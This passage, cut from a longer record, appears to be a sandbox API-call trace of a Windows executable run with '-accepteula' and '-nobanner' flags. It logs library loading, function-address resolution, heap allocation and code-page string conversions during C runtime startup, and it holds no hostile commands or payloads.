GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0100.961] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0100.961] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0100.961] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0100.961] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0100.961] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0100.961] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0100.961] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0100.962] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0100.962] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0100.962] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0100.962] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0100.962] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0100.962] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0100.962] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0100.962] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0100.962] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0100.962] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0100.962] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0100.962] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0100.962] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0100.962] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0100.963] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0100.963] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0100.963] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0100.963] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0100.963] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0100.963] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0100.963] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0100.963] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0100.963] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0100.963] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0100.963] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0100.963] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0100.963] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0101.148] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0101.149] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0101.149] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0101.149] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0101.149] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0101.149] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0101.149] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0101.149] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0101.149] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0101.149] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0101.149] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0101.149] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0101.149] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0101.150] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0101.150] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0101.150] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0101.150] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0101.150] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0101.150] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0101.150] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0101.150] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0101.150] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0101.150] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0101.153] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0101.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xdfc1cae0, dwHighDateTime=0x1d5d06a)) [0101.153] GetCurrentThreadId () returned 0xe24 [0101.153] GetCurrentProcessId () returned 0xe20 [0101.153] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=24310498078) returned 1 [0101.153] GetProcessHeap () returned 0x610000 [0101.153] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0101.153] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0101.154] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0101.154] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0101.154] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0101.154] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0101.154] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0101.154] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0101.154] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0101.154] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0101.154] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0101.154] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0101.154] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0101.155] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0101.155] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0101.155] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0101.155] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0101.155] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0101.155] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0101.155] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0101.155] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0101.155] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0101.155] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0101.155] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0101.155] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0101.155] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0101.156] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0101.156] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0101.156] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0101.156] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0101.156] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0101.156] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0101.156] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0101.156] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0101.157] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x3bc) returned 0x6260c8 [0101.157] GetCurrentThreadId () returned 0xe24 [0101.157] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x18) returned 0x626490 [0101.157] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x800) returned 0x6264b0 [0101.157] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x7710d929, hStdError=0x0)) [0101.157] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0101.157] GetFileType (hFile=0x3) returned 0x2 [0101.157] GetStdHandle (nStdHandle=0xfffffff5) returned 0x80 [0101.157] GetFileType (hFile=0x80) returned 0x3 [0101.157] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0101.157] GetFileType (hFile=0xb) returned 0x2 [0101.158] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner" [0101.158] GetEnvironmentStringsW () returned 0x626cb8* [0101.158] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xb84) returned 0x627848 [0101.158] FreeEnvironmentStringsW (penv=0x626cb8) returned 1 [0101.158] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0101.158] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x78) returned 0x61f8e8 [0101.158] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xa0) returned 0x626cb8 [0101.158] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x3e) returned 0x6283f0 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x6c) returned 0x626d60 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x6e) returned 0x626dd8 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x78) returned 0x61f968 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x62) returned 0x626e50 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x2e) returned 0x626ec0 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x48) returned 0x626ef8 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x28) returned 0x626f48 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x28) returned 0x626f78 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x1a) returned 0x625a98 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x4a) returned 0x626fa8 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x72) returned 0x61f9e8 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x30) returned 0x627000 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x2e) returned 0x627038 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x1c) returned 0x625ac0 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xd2) returned 0x627070 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x7c) returned 0x627150 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x36) returned 0x6271d8 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x3a) returned 0x628438 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x90) returned 0x627218 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x24) returned 0x6272b0 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x30) returned 0x6272e0 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x36) returned 0x627318 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x48) returned 0x627358 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x52) returned 0x6273a8 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x3c) returned 0x628480 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x18) returned 0x627408 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x82) returned 0x627428 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x2e) returned 0x6274b8 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x1e) returned 0x625ae8 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x2c) returned 0x6274f0 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x54) returned 0x627528 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x52) returned 0x627588 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x2a) returned 0x6275e8 [0101.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x3c) returned 0x6284c8 [0101.160] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x54) returned 0x627620 [0101.160] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x24) returned 0x627680 [0101.160] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x30) returned 0x6276b0 [0101.160] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x8c) returned 0x6276e8 [0101.160] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x627848 | out: hHeap=0x610000) returned 1 [0101.160] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x800) returned 0x6293d8 [0101.160] GetLastError () returned 0x0 [0101.160] SetLastError (dwErrCode=0x0) [0101.160] GetLastError () returned 0x0 [0101.160] SetLastError (dwErrCode=0x0) [0101.160] GetLastError () returned 0x0 [0101.160] SetLastError (dwErrCode=0x0) [0101.160] GetACP () returned 0x4e4 [0101.161] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x220) returned 0x629be0 [0101.161] GetLastError () returned 0x0 [0101.161] SetLastError (dwErrCode=0x0) [0101.161] IsValidCodePage (CodePage=0x4e4) returned 1 [0101.161] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0101.161] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0101.161] GetLastError () returned 0x0 [0101.161] SetLastError (dwErrCode=0x0) [0101.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0101.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0101.161] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0101.161] GetLastError () returned 0x0 [0101.161] SetLastError (dwErrCode=0x0) [0101.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0101.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0101.161] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0101.161] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0101.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¹Ø\x10wäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0101.161] GetLastError () returned 0x0 [0101.161] SetLastError (dwErrCode=0x0) [0101.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0101.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0101.161] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0101.161] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, 